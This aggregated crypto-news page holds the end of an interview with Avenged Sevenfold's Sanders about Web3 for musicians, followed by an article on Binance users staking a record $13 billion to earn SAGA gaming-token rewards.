Where Avenged Sevenfold has had to invest a lot of time and effort into educating their fanbase about Web3, he said, the next generation of musicians and fans will have grown up with the technology. “It’s going to be harder for us to convert our audience into this than it will be for the kid coming up that’s going to build his audience through this, in a way that’s very Web3-native,” he said.

For the time being, Sanders said, negative press around NFTs and Web3 has made some artists cautious about adopting the technology. “You just have to use it and man up and go through it,” he said. “If not, then you’re a slave to your fans, and I don’t think that’s a healthy relationship.”

He added that Avenged Sevenfold is “kind of an anomaly,” given that at this stage of their career, the band is “willing to shake the tree, and kind of ruffle our fanbase’s feathers.”

“We could literally ride off into the sunset, keep writing the same sort of records and just play arenas for the rest of our days, and call it a day,” Sanders said. Instead, he added, the band wants to prove that Web3 has real utility for musicians and fans.

“We want to lead by example,” he said, “that you can create a better internet, you can create a better future for artists.”

Edited by Andrew Hayward

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Binance Users Stake Record $13 Billion to Earn Saga Gaming Token Rewards https://coinsmeganews.com/binance-users-stake-record-13-billion-to-earn-saga-gaming-token-rewards/ https://coinsmeganews.com/binance-users-stake-record-13-billion-to-earn-saga-gaming-token-rewards/#respond Sat, 06 Apr 2024 00:01:47 +0000 https://coinsmeganews.com/binance-users-stake-record-13-billion-to-earn-saga-gaming-token-rewards/ [ad_1]

There’s clear interest in the upcoming token for the Saga layer-1 blockchain network, just days ahead of next week’s listing. In fact, Binance customers have already broken a record for the most cryptocurrency staked to earn SAGA token rewards via the crypto exchange’s Launchpool campaign platform.

Binance users have staked more than $13.1 billion worth of Binance Coin (BNB) and the FDUSD stablecoin to earn a share of the 45 million SAGA tokens being offered up through the platform, or half of the token’s initial circulating supply.

Saga declared the earlier $13 billion mark a record on Twitter Friday, and based on Decrypt’s own analysis of past Launchpool campaigns, that does appear to be the case. Recent Launchpool campaigns for tokens like ENA and ETHFI have come close to the $13 billion mark, but Saga appears to have be the first to break that barrier based on the value of BNB at the time.

Another gaming token, Portal (PORTAL), had previously set a record of $8.6 billion on Binance Launchpool in February. But thanks to the rising price of BNB, every token launch since then has handily surpassed that tally.

Decrypt reached out to Binance to confirm whether Saga is indeed the top Launchpool campaign to date based on its internal data but did not immediately receive a response. Binance will list the SAGA token on April 9, and in the meantime, nearly 370,000 users of the exchange are staking varying amounts of crypto to earn SAGA at launch.

Saga is a layer-1 blockchain that’s designed as a “chain to launch chains.” Multiple such “chainlets” can be used in parallel to power decentralized apps (dapps), plus they can be used to support apps that were deployed on other blockchain networks.

While not exclusively limited to gaming, Saga has embraced gaming in the run-up to its expected mainnet launch this month. The chain held numerous play-to-airdrop gaming competitions and rewarded winners with allotments of SAGA tokens, and about 80% of projects building on the Saga testnet are related to gaming. Saga is also launching an in-house game publisher called Saga Origins.

Given that Saga already doled out SAGA tokens to gamers, DeFi stakers across various chains, and owners of certain prominent NFT projects, why offer up such a sizable chunk of the initial circulating supply for Binance customers to earn?

According to Saga co-founder and CEO Rebecca Liao, it was about courting a potentially much wider audience for the chain as its token takes flight.

“The thing about Binance is that it’s a very broad retail user base,” she told Decrypt’s GG on Friday. “For us, the community airdrop that we had designed was geared towards the people that we already know—our key technology partners, and also the games and the people involved in our ecosystem from early on.”

Even with the aim of landing a much larger audience of SAGA holders, Liao said her team was completely floored by the record-breaking reaction thus far.

“It’s pretty nuts,” she said. “We were not anticipating this at all.”

Edited by Ryan Ozawa.

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